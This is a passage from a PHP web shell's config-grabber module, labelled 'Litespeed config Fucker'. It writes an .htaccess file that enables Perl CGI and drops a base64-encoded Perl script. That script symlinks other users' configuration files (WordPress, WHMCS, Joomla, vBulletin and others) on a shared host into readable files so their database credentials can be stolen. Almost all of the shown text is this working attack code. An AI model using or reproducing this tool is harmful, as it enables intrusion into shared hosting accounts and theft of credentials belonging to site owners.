m9udD48L2E+PC9wPic7DQp9DQp9DQogcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+Ijs=';
$file = fopen("cfi.pl" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("cfi.pl",0755);
chmod(".htaccess",0755);
echo "<iframe src=CFI/cfi.pl width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'lcf-config'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=lcf-config" method="post">
<center/><b><font color=>+--==[ Litespeed config Fucker ]==--+</font></b><br><br>
<?php
mkdir('LCF',0755);
chdir('LCF');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
$metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl
Options
DirectoryIndex seees.html
RemoveHandler .php
AddType application/octet-stream .php";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$lcf ='IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiIC8+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4NCjx0aXRsZT5Db25maWcgRnVja2VyIEJ5IFgtMW43M2N0PC90aXRsZT4NCjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iaHR0cDovL3BuZy0zLmZpbmRpY29ucy5jb20vZmlsZXMvaWNvbnMvMTkzNS9yZWRfZ2Vtc192b2xfMi8xMjgvcjJfZHJhZ29uLnBuZyIvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQoNCn0NCi5uZXdTdHlsZTEgew0KIGZvbnQtZmFtaWx5OiBUYWhvbWE7DQogZm9udC1zaXplOiB4LXNtYWxsOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KIGNvbG9yOiAjMDBmZjAwOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQokZG9tYWluPSRtc3IuIi8iLiR1c2VyOw0KJGRvbWFpbj1+cy9cbi8vZzsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TU0kucGhwJywkZG9tYWluLid+fj5DTUYtZm9ydW0uc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+TXlCQi5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0uc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk90aGVyLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRkb21haW4uJ35+PmludmlzaW8uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnRzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5ncy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+UGhwQkItZm9ydW0uc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htY3Muc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRkb21haW4uJ35+PndobWNzMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm1hbmdld2htY3Muc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bXlzaG9wLnNodG1sJyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2Uuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZXMuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNhbGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlci5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLWJldGEuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53cDEzLXByZXNzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3MtYmV0YS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1uZXdzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2ViL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13ZWIuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmxvZ3Muc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtaG9tZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXByb3RhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+Pm9yZHByZXNzLXNpdGUuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbWFpbi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy10ZXN0LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vbWxhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXByb3RhbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb28uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtY21zLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1zaXRlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1tYWluLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXdzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ldy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj5WQnVsbGV0aW4tZm9ydW0uc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+dmIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIzL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnZiMy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNwYW5lbC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+cGFuZWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+aG9zdC5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0aW5nLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnplbmNhcnQuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LXNob3Auc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zaG9wLVpDc2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fj5tay1wb3J0YWxlMS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLXNtZi5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtZm9ydW0uc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bXMuc2h0bWwnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj51cGxvYWQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbC9jb25maWcucGhwJywkZG9tYWluLid+fj5tYWxheS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xlbnRzLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudDIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnMi5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhMS5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvc3lzdGVtL3Npc3RlbS5waHAnLCRkb21haW4uJ35+Pmxva29tZWRpYS5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJGRvbWFpbi4nfj5EcnVwYWwuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZTEwN19jb25maWcucGhwJywkZG9tYWluLid+PmUxMDcuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZGF0YXMvY29uZmlnLnBocCcsJGRvbWFpbi4nfj5TZWRpdGlvLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGRvbWFpbi4nfn4+Q01GLWZvcnVtLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luYy9jb25maWcucGhwJywkZG9tYWluLid+fj5NeUJCLnNodG1sJykgOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0uc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkZG9tYWluLid+fj5PdGhlci5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGRvbWFpbi4nfn4+aW52aXNpby5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50cy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5jbGllbnQuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZ3Muc2h0bWwnKSA7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywkZG9tYWluLid+fj5QaHBCQi1mb3J1bS5zaHRtbCcpIDsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PndobWNzLnNodG1sJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkZG9tYWluLid+fj53aG1jczIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bWFuZ2V3aG1jcy5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teXNob3AvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pm15c2hvcC5zaHRtbCcpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnQuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlcy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy5zaHRtbCcpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2FsZS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5zYWxlLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyLnNodG1sJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIuc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3Auc2h0bWwnKTsNCiBzeW1saW5rKCcvaG9t